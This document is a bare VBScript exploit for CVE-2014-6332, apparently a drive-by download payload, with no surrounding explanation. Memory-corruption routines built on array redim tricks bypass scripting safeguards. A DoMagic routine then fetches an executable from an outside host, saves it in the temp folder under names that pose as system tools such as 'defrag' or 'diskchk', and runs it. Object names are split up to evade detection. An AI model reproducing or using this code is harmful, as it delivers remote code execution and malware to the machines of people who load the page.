CVE-2014-6332

Function b2s(xBinary)


 Dim Binary
  If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary

  Dim RS, LBinary
  Const adLongVarChar = 201
  Set RS = CreateObject("ADODB.Recordset")
  LBinary = LenB(Binary)

  If LBinary>0 Then
    RS.Fields.Append "mBinary", adLongVarChar, LBinary
    RS.Open
    RS.AddNew
      RS("mBinary").AppendChunk Binary
    RS.Update
    b2s = RS("mBinary")
  Else
    b2s = ""
  End If
End Function

Function GenerateRndStr(intLength)
     Randomize
     Dim strS, intI,strCharacters
     strCharacters = Array("sysdfg", "defrag", "diskchk", "disktool", "sysrestore")
     strS = strCharacters(Int(Rnd() * UBound(strCharacters) + 1))
     GenerateRndStr=strS
End Function

sub DoMagic(  )
  On Error Resume Next
  Dim strLink, strSaveName, fsysobj
  strLink = "http://" & "ach.hygradecannabis.com:488/install.php?apple=2107&bugs=4&audit=2528&blue=171&howto=1140&radio=1752&click=2582"
  strSaveName = GenerateRndStr(7) & ".exe"

  fsysobjxx = Array("Scripting.FileSystemObject")

 Set objFSO = CreateObject(Join(fsysobjxx,""))

 tempfolder = objFSO.GetSpecialFolder(2) & "\\"

 strSaveTo = tempfolder & strSaveName


  WinHttpStr = Array("WinHttp.WinHttpRequest.5.1")
  Set objHTTP = CreateObject(Join(WinHttpStr, ""))

  objHTTP.open "GET", strLink, False
  objHTTP.send



 If objFSO.FileExists(strSaveTo) Then
   objFSO.DeleteFile(strSaveTo)
  End If


  If objHTTP.Status = 200 Then

    Set objFile = objFSO.CreateTextFile(strSaveTo,True)
    objFile.Write b2s(objHTTP.responseBody)

 objFile.Close
    End If

    If objFSO.FileExists(strSaveTo) Then
        cmdline = strSaveTo
        ShellArr = Array("WScript.Shell")
        CreateObject(Join(ShellArr, "")).Run cmdline
        CreateObject(Join(ShellArr, "")).Run "control.exe " & cmdline
    End If

end sub
dim   aa()
dim   ab()
dim   supervara0
dim   a1
dim   a2
dim   a3
dim   rnda
dim   funclass
dim   myarray



Begin()

function Begin()


  makemagicxinit()


  If Create()=True Then

     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)

     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     dosetnewmd()
  end if
end function




function makemagicxinit()
   Randomize()
   redim aa(5)
   redim ab(5)
   supervara0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 800
    If domagic3(&h8000000)=True Then
       Create=True
       Exit For
    End If
  Next
end function

sub testaa()
end sub

function makemagicx()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310
     makemagicx=aa(a1)
     redim  Preserve aa(supervara0)
end function


function dosetnewmd()
    On Error Resume Next
    i=makemagicx()
    i=domagic2(i+8)
    i=domagic2(i+16)
    j=domagic2(i+&h134)
    for k=0 to &h60 step 4
        j=domagic2(i+&h120+k)
        if(j=14) then
              j=0
              redim  Preserve aa(a2)
              aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(supervara0)

              j=0
              j=domagic2(i+&h120+k)

               Exit for
           end if

    next
    ab(2)=1.69759663316747E-313


    DoMagic

end function

function domagic3(addvl)
    On Error Resume Next
    dim type1,type2,type3
    domagic3=False
    supervara0=supervara0+a3
    a1=supervara0+2
    a2=supervara0+addvl

    redim  Preserve aa(supervara0)
    redim   ab(supervara0)

    if (IsObject(CreateObject)) then
    redim  Preserve aa(a2)
    end if
    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(supervara0)=10


    If(IsObject(aa(a1-1)) = False) Then

           if(vartype(aa(a1-1))<>0)  Then
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if
            end if

    end if



    If(type1=&h2f66) Then
          domagic3=True
    End If


    redim  Preserve aa(supervara0)

end function

function domagic2(add)
    On Error Resume Next
    redim  Preserve aa(a2)

    ab(0)=0
    aa(a1)=add+4
    ab(0)=1.69759663316747E-313
    domagic2=lenb(aa(a1))

    ab(0)=0

    redim  Preserve aa(supervara0)
end function